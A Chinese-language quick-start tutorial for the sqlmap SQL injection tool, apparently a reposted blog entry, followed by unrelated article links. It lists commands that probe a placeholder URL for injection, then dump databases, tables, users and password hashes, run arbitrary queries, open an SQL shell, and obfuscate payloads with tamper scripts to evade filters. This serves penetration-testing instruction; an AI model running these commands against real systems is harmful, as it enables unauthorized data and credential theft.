• sqlmap 快速开始


    sqlmap 快速开始


    目标

    sqlmap 使用时必须指定一个目标。


    GET 方法

    判断 "http://www.target.com/vuln.php?id=1" 是否存在注入

    python sqlmap.py -u "http://www.target.com/vuln.php?id=1"
    

    POST 方法

    python sqlmap.py -u "http://www.target.com/vuln.php" --data "id=1"
    

    利用

    确认存在 sql 注入之后,进行数据查询,或其他操作。


    --dbs

    当前用户下的所有数据库

    sqlmap.py -u "target.com?id=1" --dbs
    

    --tables

    数据库中所有表名

    sqlmap.py -u "target.com?id=1" -D infomation_schema --tables
    

    --columns

    所有字段名

    sqlmap.py -u "target.com?id=1" -D infomation_schema -T tables --columns
    

    --users

    数据库所有用户

    sqlmap.py -u "target.com?id=1" --users
    

    --passwords

    数据库用户密码,SQLMap 会先列举用户,然后列出 Hash,并尝试破解。

    sqlmap.py -u "target.com?id=1" --passwords
    

    --current-db

    当前网站数据库名

    sqlmap.py -u "target.com?id=1" --current-db
    

    --current-user

    当前网站使用的数据库用户

    sqlmap.py -u "target.com?id=1" --current-user
    

    --sql-query=QUERY

    执行一个sql语句

    sqlmap.py -u "target.com?id=1" --sql-query='SELECT @@datadir'
    

    --sql-shell 创建一个sql的shell

    获取一个交互式的数据库终端


    绕过


    混淆注入数据

    选项:--tamper="between,my.py"

    python 文件格式:

    # Needed imports
    from lib.core.enums import PRIORITY
    
    # Define which is the order of application of tamper scripts against
    # the payload
    __priority__ = PRIORITY.NORMAL
    
    def tamper(payload):
        '''
        Description of your tamper script
        '''
    
        retVal = payload
    
        # your code to tamper the original payload
    
        # return the tampered payload
        return retVal
    

    其他

    输出详情

    选项:-v

    python sqlmap.py -v 1
    

    此选项共有 7 种参数,下为常用参数:

    • 0 :仅显示错误和危险信息,与 python 解释器信息。
    • 1 :显示 information 和警告信息。(默认值)
    • 3 :显示 payload。

    参考

  • 相关阅读:
    break,continue,return的区别
    java中for循环的优化
    Jquery中click函数调用遇到的诡异问题
    MVC中Controller与View的类型绑定问题
    基于8019芯片的在9S12下移植成功的TCP/IP协议族(续)
    MVC中Partialiew使用的一点小总结
    基于8019芯片的在9S12下移植成功的TCP/IP协议族(一)
    9S12单片机的模块驱动程序备忘
    prim算法(zoj1203)
    win7下安装fedora
  • 原文地址:https://www.cnblogs.com/shiwai/p/14172170.html
Copyright © 2020-2023  润新知